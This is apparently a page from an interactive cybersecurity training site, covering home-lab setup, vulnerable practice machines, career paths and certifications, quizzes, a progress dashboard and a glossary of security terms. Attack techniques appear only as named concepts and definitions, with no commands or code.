B. Unexpected outbound connections
C. Monitor brightness
D. Keyboard layout
Beaconing to unknown C2 IPs often signals compromise.

Home Lab & Practice

Build a cybersecurity home lab with virtual machines, vulnerable machines, and practice environments.

⚡ Quick Reference
Command / TermWhat it does
VirtualBoxFree Type-2 hypervisor
ProxmoxType-1 hypervisor + management
Kali VMAttack workstation
Parrot / UbuntuSecondary VMs
SnapshotsRevert VMs to clean state
Isolated networkHost-only / NAT, no prod routing
pfSenseFree firewall/router VM
Wordlistsrockyou.txt, SecLists

Lab Architecture & Setup

Minimum requirements: 16GB RAM (32GB recommended), 500GB SSD, CPU with virtualization support (Intel VT-x/AMD-V). VMware Workstation or VirtualBox (free) for virtualization.

Network design: Host-only network for isolated lab. NAT network for internet access. Custom virtual networks for simulating enterprise environments (VLANs, DMZ). Configure in hypervisor settings.

Essential VMs: Kali Linux (attacker), Parrot OS (alternative attacker), Ubuntu Server (target), Windows 10 (target), Windows Server (AD domain controller). Use snapshots before exploitation.

Professor Messer
Professor Messer

📝 Quick Quiz

What minimum RAM is recommended for a cybersecurity home lab?

A. 64GB
B. 16GB
C. 4GB
D. 8GB
16GB RAM is the minimum for running multiple VMs simultaneously, with 32GB recommended for comfort.

Vulnerable Machines & CTF Platforms

Vulnerable by design: DVWA (Damn Vulnerable Web App), VulnHub (downloadable VMs), HackTheBox (online labs), TryHackMe (guided learning), PentesterLab (web exercises).

Specific targets: Metasploitable 2/3 (intentionally vulnerable Linux), Windows XP/7 (legacy, unpatched), WebGoat (OWASP web security), Damn Vulnerable iOS App (DVIA).

CTF approach: start with walkthroughs, then attempt independently. Document your methodology. Focus on learning, not just flags. Participate in CTF competitions: picoCTF, National Cyber League, DEF CON CTF.

Professor Messer
Professor Messer

📝 Quick Quiz

Which platform provides intentionally vulnerable web applications for practice?

A. Wireshark
B. Nmap
C. Metasploit
D. DVWA
DVWA (Damn Vulnerable Web App) is a PHP/MySQL web application designed to be intentionally vulnerable.

Active Directory Lab

Build an AD environment: Windows Server (Domain Controller), Windows 10 (workstations), Windows Server (member server). Use Vagrant or manual setup.

Configure: domain, users, groups, GPOs,OU structure, trusts, and services (DNS, DHCP, DHCP, Kerberos). Create realistic OU hierarchy with delegation. Add complexity: multiple forests, child domains, trusts.

Practice: Kerberoasting, AS-REP Roasting, GPP password abuse, delegation attacks, ACL abuse, domain trusts. Use BloodHound to map attack paths. Document findings as if conducting a real engagement.

Professor Messer
Professor Messer

📝 Quick Quiz

What tool automates AD lab creation?

A. Ansible
B. Docker
C. Kubernetes
D. Vagrant
Vagrant automates VM creation and configuration, making it easy to build repeatable AD lab environments.

Automation & Documentation

Automate lab setup: Vagrant (VM provisioning), Ansible (configuration management), Docker (containerized services). Create playbooks for consistent environments.

Documentation: maintain a lab journal documenting configurations, exercises completed, and lessons learned. Use Git to version control scripts and configurations. Create network diagrams with draw.io or Lucidchart.

Share knowledge: write blog posts, create tutorials, contribute to open-source lab environments. Join communities: r/homelab, r/cybersecurity, Discord servers. Collaborate on lab improvements and new challenges.

Professor Messer
Professor Messer

📝 Quick Quiz

What tool provides infrastructure-as-code for VM provisioning?

A. Hyper-V
B. VirtualBox
C. Vagrant
D. VMware
Vagrant provides reproducible VM environments using code, making lab setup consistent and shareable.

📝 Quick Quiz

Which free hypervisor is popular for home security labs?

A. VMware ESXi (free tier)
B. VirtualBox
C. Hyper-V
D. QEMU alone
VirtualBox runs Kali/Parrot VMs on any OS for free.

📝 Quick Quiz

VM snapshots let you:

A. Speed up the internet
B. Revert to a clean prior state
C. Share RAM
D. Encrypt the host
Snapshots restore a VM after destructive experiments.

📝 Quick Quiz

An isolated lab network should:

A. Route to the production LAN
B. Never route to your production network
C. Use the public internet only
D. Share DHCP with guests
Keep lab traffic off production to avoid accidents.

📝 Quick Quiz

Which platform manages multiple VMs with a web UI?

A. Proxmox VE
B. VirtualBox GUI
C. GParted
D. PuTTY
Proxmox VE is a Type-1 hypervisor with centralized management.

Career & Certifications

Navigate cybersecurity career paths, certifications, job hunting, and professional development.

⚡ Quick Reference
Command / TermWhat it does
Entry certsCompTIA Security+, Network+
IntermediateCEH, CySA+, SSCP
Advanced offensiveOSCP, OSCE, GPEN
Advanced defenseCISSP, GIAC, GCIH
SkillsLinux, networking, scripting (Python), cloud
PracticalTryHackMe, HackTheBox, bug bounties
ResumeProjects, labs, certs, measurable impact
RolesSOC analyst, pentester, incident responder

Career Paths & Specializations

Defensive Security: SOC Analyst → Threat Hunter → Detection Engineer → Security Architect → CISO. Offensive Security: Junior Pen Tester → Senior Pen Tester → Red Team Lead → Principal Consultant.

Governance & Compliance: Security Analyst → GRC Analyst → Compliance Manager → CISO. Incident Response: IR Analyst → IR Lead → DFIR Consultant → IR Manager. Cloud Security: Cloud Security Engineer → Cloud Architect → Cloud Security Lead.

Emerging fields: AI/ML Security, IoT Security, DevSecOps, Supply Chain Security, OT/ICS Security. Specialize based on interests and market demand. Build a home lab to practice.

Professor Messer
Professor Messer

📝 Quick Quiz

What is the typical career progression for a SOC Analyst?

A. SOC Analyst → Network Engineer
B. SOC Analyst → Threat Hunter → Detection Engineer
C. SOC Analyst → CISO immediately
D. SOC Analyst → Penetration Tester
SOC Analyst typically progresses to Threat Hunter or Detection Engineer before advancing to senior roles.

Certifications Roadmap

Entry level: CompTIA Security+ (foundational), CompTIA Network+ (networking), CompTIA CySA+ (defensive). Intermediate: eJPT (junior pen testing), CompTIA Pentest+, CEH.

Advanced: OSCP (Offensive Security Certified Professional — gold standard for pen testing), OSCE (advanced exploitation), PNPT (practical network pen testing), CRTP/CRTE (AD attacks).

Specialized: CISSP (management), CCSP (cloud), GIAC (various specializations), CISM (management), CISA (audit). Choose based on career goals — technical vs. management track.

Professor Messer
Professor Messer

📝 Quick Quiz

Which certification is considered the gold standard for penetration testing?

A. CEH
B. OSCP
C. CISSP
D. Security+
OSCP (Offensive Security Certified Professional) is widely recognized as the gold standard for practical penetration testing skills.

Building a Portfolio & Resume

GitHub portfolio: document projects, scripts, lab setups, write-ups. Contribute to open-source security tools. Blog: write about CTF solutions, tool reviews, vulnerability research. Demonstrate continuous learning.

Resume tips: quantify achievements ('Reduced vulnerability remediation time by 40%'), list relevant certifications, include home lab experience, and highlight specific tools and technologies.

LinkedIn: connect with security professionals, share articles, engage with the community. Join OWASP chapters, attend BSides conferences, participate in DEF CON groups. Network actively — many jobs come through referrals.

Professor Messer
Professor Messer

📝 Quick Quiz

What is the best way to demonstrate practical security skills?

A. List only certifications
B. Only apply to jobs
C. Memorize tool commands
D. Build a portfolio with projects and write-ups
A portfolio demonstrating practical projects, CTF solutions, and tool usage is the most effective way to showcase skills.

Interview Preparation

Technical interviews: expect questions on networking (OSI, TCP/IP), Linux fundamentals, security concepts (CIA triad, defense in depth), and tool usage. Practice over-the-shoulder exercises where you solve problems live.

Behavioral interviews: use STAR method (Situation, Task, Action, Result). Prepare examples of problem-solving, teamwork, and handling pressure. Research the company's tech stack and recent security incidents.

Practical assessments: many employers use HackerRank, CTF-style challenges, or live demonstrations. Practice on TryHackMe, HackTheBox, and picoCTF. Be ready to explain your methodology and thought process.

Professor Messer
Professor Messer

📝 Quick Quiz

What interview method structures responses with Situation, Task, Action, Result?

A. OWASP method
B. PEACE method
C. STAR method
D. NIST method
The STAR method (Situation, Task, Action, Result) provides a structured way to answer behavioral interview questions.

📝 Quick Quiz

Which is the standard entry-level security certification?

A. OSCP
B. CompTIA Security+
C. CISSP
D. AWS SA
Security+ (Sec+) is the classic entry cert covering core security.

📝 Quick Quiz

A practical portfolio (CTF write-ups, labs) shows:

A. Your typing speed
B. Hands-on skill beyond certifications
C. Social media presence
D. Age
Employers value demonstrated, verifiable practical experience.

📝 Quick Quiz

Which certification is known as advanced offensive/pen-testing?

A. CompTIA A+
B. OSCP
C. CISA
D. PMP
OSCP requires a 24-hour hands-on lab and report — deeply practical.

📝 Quick Quiz

Bug bounty programs help beginners by:

A. Guaranteeing payment
B. Providing real-world targets and feedback
C. Replacing certifications
D. Avoiding laws
They offer legal, real targets and reviewer feedback.

My Notes

Saved

Your notes are saved automatically and persist between sessions.

Lab Center

Complete scenario-based mission labs to earn XP. Each lab chains a story, real terminal commands, and questions — one step at a time.

0/6Labs completed
0/0Steps mastered
0XP earned
💡 How to play — new here?

💻 CTF Terminal Challenges

  1. Open the terminal and type challenge
  2. Open one: challenge b64_easy
  3. Read the GOAL and DATA, follow HOW TO SOLVE
  4. Submit: challenge b64_easy CTF{...}

📝 Section Exercises

  1. Open any topic from the menu
  2. Scroll to the Practical Lab at the bottom
  3. Type your answer and press Verify
  4. Each one earns +25 XP

🚀 Mission Labs

  1. Pick a lab card above (they unlock in order)
  2. Complete each step to advance the story
  3. Command steps: type the command, press Run
  4. Question steps: type the answer, press Submit

⚑ Terminal Challenges

Short CTF puzzles you can solve directly in the terminal with the challenge command.

⚡ Section Exercises

The practical lab at the bottom of each learning section — revisit any you missed.

★ My Progress

Your journey across modules, labs, challenges and quizzes — climb the ranks as you go.

🥶
RECRUIT0 XP
0 / 100 XP to next rank
0%complete
Modules done0 / 25
Next up:
🎯
Daily Challenge
Loading...
0/25
Exercises
🎮
0/8
CTF Flags
🛡
0/6
Labs
🎯
0
Quizzes
🏹
0%
Accuracy
🔥
0
Streak
TRACK BREAKDOWN0/25 (0%)
MISSION LABS
ACHIEVEMENTS0/13
ALL MODULES

Security Glossary

Searchable glossary of essential cybersecurity terms, acronyms, and concepts. Use the box below or press Ctrl+G to jump here anytime.

CIA Triadfoundations
Confidentiality, Integrity, and Availability — the core model of information security.
AAAfoundations
Authentication, Authorization, and Accounting: verify identity, grant permissions, log activity.
Defense in Depthfoundations
Layered security controls (physical, network, host, app, data) so no single failure is fatal.
Riskfoundations
Threat x Vulnerability x Impact; managed via mitigate, transfer, accept, or avoid.
Zero-dayexploitation
A vulnerability unknown to the vendor, so no patch exists yet.
Kill Chainethicalhack
Lockheed Martin model of attack stages: Recon, Weaponize, Deliver, Exploit, Install, C2, Actions.
NIST CSFfoundations
Framework with five functions: Identify, Protect, Detect, Respond, Recover.
ISO 27001foundations
International standard for Information Security Management Systems (ISMS).
SOC 2foundations
Audit framework for service providers' security, availability, and confidentiality controls.
GDPRlegal
EU regulation protecting personal data; breach notification within 72 hours.
Rootlinux
The superuser account with unrestricted system control on Unix-like systems.
Sudolinux
Run a command as another user (usually root) with logged authorization.
SUIDprivesc
Set-user-ID permission bit that runs a program with the file owner's privileges.
Kernellinux
Core OS component managing hardware, processes, and memory.
SSHnetworking
Secure Shell — encrypted remote login and command execution on port 22.
TCP/IPnetworking
The fundamental protocol suite of the internet: reliable transport over IP.
DNSnetworking
Domain Name System — resolves hostnames to IP addresses on port 53.
OSI Modelnetworking
Seven-layer conceptual model: Physical, Data Link, Network, Transport, Session, Presentation, Application.
Subnet Masknetworking
Defines the network/host boundary of an IP address (e.g. /24 = 255.255.255.0).
VPNnetworking
Encrypted tunnel that hides traffic and changes apparent location.
Proxynetworking
Intermediary that forwards requests, hiding the client and enabling interception.
TLScrypto
Transport Layer Security — encrypts and authenticates HTTPS, SMTP, and more.
OSINTrecon
Open Source Intelligence: gathering data from public sources.
Footprintingrecon
Passive information gathering about a target before active interaction.
Fingerprintingscanning
Identifying OS and services from their responses and banners.
Port Scanningscanning
Probing hosts to discover open ports and services (e.g. with Nmap).
Enumerationscanning
Extracting detailed info (users, shares, versions) from open services.
Banner Grabbingscanning
Reading service banners to identify software versions.
Shodanrecon
Search engine for internet-exposed devices and banners.
Google Dorkingrecon
Using advanced search operators to find sensitive/exposed data.
OWASPwebsecurity
Open Web Application Security Project — publishes the Top 10 web risks.
XSSwebsecurity
Cross-Site Scripting — injecting scripts that run in victims' browsers.
SQL Injectionwebsecurity
Manipulating SQL queries via user input to access/alter data.
IDORwebsecurity
Insecure Direct Object Reference — accessing objects via changed IDs.
CSRFwebsecurity
Cross-Site Request Forgery — forcing a victim's session to act.
RCEexploitation
Remote Code Execution — running arbitrary code on a target.
LFIwebsecurity
Local File Inclusion — reading server files via path traversal.
SSRFwebsecurity
Server-Side Request Forgery — making the server fetch internal resources.
WAFwebsecurity
Web Application Firewall — filters malicious HTTP traffic.
Metasploitexploitation
Offensive framework with modules for exploiting and post-exploitation.
Payloadexploitation
Code delivered and run after a vulnerability is triggered.
Shellcodeexploitation
Machine code injected to execute commands (often spawning a shell).
Reverse Shellpostexp
Target connects back to the attacker's listener — bypasses inbound firewalls.
Bind Shellpostexp
Attacker connects to a listener opened on the target.
Persistencepostexp
Techniques that keep access across reboots (cron, services, keys).
Pivotingpostexp
Routing through a compromised host to reach internal networks.
C2redteam
Command and Control — attacker's channel to manage compromised hosts.
Mimikatzpostexp
Tool that dumps Windows credentials from memory (Kerberos, NTLM).
SIEMblueteam
Security Information and Event Management — central log collection and alerts.
EDRblueteam
Endpoint Detection and Response — monitors endpoints for threats.
IDS / IPSblueteam
Intrusion Detection/Prevention System — network traffic monitoring.
SOCblueteam
Security Operations Center — the team monitoring and responding to threats.
IoCblueteam
Indicator of Compromise — evidence like IPs, hashes, or domains of an intrusion.
SOARblueteam
Security Orchestration, Automation and Response.
Honeypotblueteam
Decoy system designed to lure and study attackers.
Sandboxmalware
Isolated environment for safely executing and analyzing malware.
Malwaremalware
Malicious software: viruses, worms, trojans, ransomware, spyware, rootkits.
Ransomwaremalware
Malware that encrypts data and demands payment for the key.
Botnetmalware
Network of compromised machines under attacker control.
Rootkitmalware
Malware that hides itself and maintains privileged access.
Encryptioncrypto
Transforming data so only key holders can read it.
Hashingcrypto
One-way function producing a fixed digest; used for integrity.
Symmetric Ciphercrypto
Uses the same key to encrypt and decrypt (e.g. AES).
Asymmetric Ciphercrypto
Uses a public/private key pair (e.g. RSA, ECC).
PKIcrypto
Public Key Infrastructure — certificates, CAs, and trust.
Certificatecrypto
Digital credential binding a public key to an identity.
Saltcrypto
Random data added to passwords before hashing to defeat rainbow tables.
CVEexploitation
Common Vulnerabilities and Exposures — public identifier for a specific flaw.
CVSSexploitation
Common Vulnerability Scoring System — rates severity from 0-10.
WEP / WPA / WPA2wireless
WiFi encryption standards; WEP is broken, WPA2-AES is the baseline, WPA3 adds SAE.
Evil Twinwireless
Rogue access point impersonating a legitimate network to intercept traffic.
Deauth Attackwireless
Forcing clients offline to capture handshakes or disrupt service.
Bluejackingwireless
Sending unsolicited messages to nearby Bluetooth devices.
Red Teamredteam
Offensive team simulating real adversaries to test defenses.
Blue Teamblueteam
Defensive team detecting and responding to attacks.
Purple Teamredteam
Red and blue teams collaborating to improve security together.
TTPredteam
Tactics, Techniques, and Procedures — how an adversary operates.
MITRE ATT&CKredteam
Knowledge base of adversary tactics and techniques.
Pentestethicalhack
Penetration test — authorized simulated attack to find weaknesses.
Bug Bountybugbounty
Vendor program paying researchers for reported vulnerabilities.
Responsible Disclosurelegal
Privately reporting flaws and allowing time to fix before public release.
CFAAlegal
US Computer Fraud and Abuse Act — criminalizes unauthorized access.
MFAossecurity
Multi-Factor Authentication — requires two+ proofs of identity.
Phishingfoundations
Social engineering via fake messages to steal credentials or install malware.
Social Engineeringfoundations
Manipulating people to divulge secrets or perform actions.
MITMnetworking
Man-in-the-Middle — attacker relays/alters traffic between two parties.
DDoSnetworking
Distributed Denial of Service — overwhelming a service with traffic.
Brute Forcetools
Trying many passwords/keys until one succeeds.
Credential Stuffingtools
Reusing leaked username/password pairs across sites.
🔥 Streak: 0